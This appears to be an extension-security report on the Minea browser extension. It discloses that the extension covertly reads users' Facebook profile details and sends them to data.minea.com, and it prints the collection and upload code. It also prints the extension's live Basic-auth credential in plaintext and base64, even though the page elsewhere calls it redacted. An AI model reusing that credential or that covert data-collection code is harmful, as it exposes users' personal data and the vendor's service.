Is Minea safe?
Minea reads Facebook profile data (ID, name, city, birthday, gender) while browsing the Ads Library and sends it to data.minea.com.
When a user visits the Facebook Ads Library, Minea intercepts GraphQL responses via a monkey-patched XHR hook and collects the authenticated user's profile details — including city, hometown, address, birthday, and gender — by fetching the user's mbasic Facebook profile page from the extension's background context. The collected PII and ad feed data are base64-encoded and posted to data.minea.com/v2/tokens using hardcoded Basic Auth credentials embedded in the extension bundle.
Who publishes itMinea - 1 other listing from the same operator, none carrying a finding
Minea - 1 other listing from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 20k+ users between them, none of them carrying a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Hardcoded Minea API credential shipped in the extension bundle
The extension ships a fixed username/password in its JavaScript, sent as a Basic-auth header to data.minea.com.
Identical for every install and readable by anyone who unpacks it, so it doesn't authenticate one user; Base64 isn't secrecy.
What actually happens
You browse the Facebook Ads Library with the extension active.
No login or per-user setup creates this credential; it is already baked into the shipped code.
The extension POSTs to data.minea.com using a fixed Basic-auth credential embedded in its JavaScript.
The same username:password pair is attached for every user on every install.
Captured request
Returns a JSON token response which is passed back to the caller.
- Content-Type
- application/json
- Authorization
- Basic <redacted> (base64 of dropispy:<redacted>)
<message-supplied data payload>The code that does this
The static credential is constructed inline in the background service worker.
if (msg.action === "sendTokens") { fetch("https://data.minea.com/v2/tokens", { method: "POST", body: msg.params.data, headers: { "Content-Type": "application/json", // Same username:password for every install, only base64-encoded Authorization: "Basic " + btoa("dropispy:gzK@8s6DVyVr") } });}Check if you're affected
Recovers the embedded Basic-auth username:password pair from the extension's Authorization header, demonstrating that the credential is readable by anyone who has the extension.
- Node.js 18+
// Decode the Basic-auth header the extension sends to data.minea.com.// The header value is base64 of 'username:password'.const headerValue = 'ZHJvcGlzcHk6Z3pLQDhzNkRWeVZy'; // from Authorization: Basic <value>const decoded = Buffer.from(headerValue, 'base64').toString('utf8');console.log('Embedded credential (user:pass):', decoded);// To find it directly in source instead:// grep -o "btoa(\"[^\"]*\")" static/background/index.js- 1Save this file as decode-minea-cred.js.
- 2Run: node decode-minea-cred.js.
- 3Observe the username:password pair printed; it is the same for every installation.
Why a base64 header is not protection
Basic authentication encodes the credential with base64 purely so it survives transport in an HTTP header. base64 is reversible with no key, so the username and password are recoverable by anyone who can read the request or the shipped source. A credential that is identical across all installs identifies the vendor's client, not the individual user.
Service worker reads your Facebook profile city, address, birthday, gender
While browsing Facebook Ads Library, the background worker fetches mbasic.facebook.com using your session: the home page for your username, then '/about', parsed for city, address, birthday, gender.
No session returns a consent wall.
What actually happens
You browse the Facebook Ads Library while logged in to Facebook.
No prompt asks to read your own profile; the fetch happens in the background.
The extension's service worker fetches your mbasic.facebook.com profile using your active Facebook session.
It reads your name from the mbasic home page, then loads your /about page.
Captured request
Returns the mbasic home HTML; the extension reads the username from the page navigation. Requests to mbasic.facebook.com from the service worker (chrome-extension context) were observed during dynamic analysis.
- Origin
- chrome-extension://gklhghenemaeogngbnjdheklnnonajoc
The code that does this
Background handlers fetch mbasic.facebook.com in the extension context and return raw HTML.
chrome.runtime.onMessage.addListener((msg, sender, sendResponse) => { if (msg.action === "getMbasicFBIndex") { fetch("https://mbasic.facebook.com/") .then(r => r.text()).then(html => sendResponse(html)); } if (msg.action === "getAboutPage") { fetch("https://mbasic.facebook.com/" + msg.params.user_full_name + "/about") .then(r => r.text()).then(html => sendResponse(html)); } return true;});Profile fields parsed out of the returned /about HTML
- Current cityAustin, Texas
Where you currently live, as listed on your Facebook profile.
- Address123 Maple Ave
Your address field from the profile, when present.
- Home townDallas, Texas
The hometown listed on your profile.
- BirthdayMarch 14, 1990
Your date of birth from the profile.
- GenderFemale
The gender field listed on your profile.
- NameJane Doe
Your profile name, derived from the mbasic page navigation.
The code that does this
The content script selects each field out of the about-page HTML.
const getCity = html => $(html).find('td:has(a[href*="edit=current_city"]) ~ td a').text();const getAddress = html => $(html).find('td:has(a[href*="edit=address"]) ~ td a').text();const getBirthday = html => $(html).find('td:has(a[href*="edit=birthday"]) ~ td div').text();const getGender = html => $(html).find('td:has(a[href*="edit=gender"]) ~ td div').text();// Assembled into { id, city, home_town, address, birthday, gender, name }chrome.runtime.sendMessage({ action: "getAboutPage", params: { user_full_name } }, html => { const profile = { city: getCity(html), address: getAddress(html), birthday: getBirthday(html), gender: getGender(html) };});Where it sends data
Destinations our analysis observed Minea contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- data.minea.com
Minea sends data to data.minea.com. One other extension we have analyzed sends data here.
- mbasic.facebook.com
Minea sends data to mbasic.facebook.com. One other extension we have analyzed sends data here.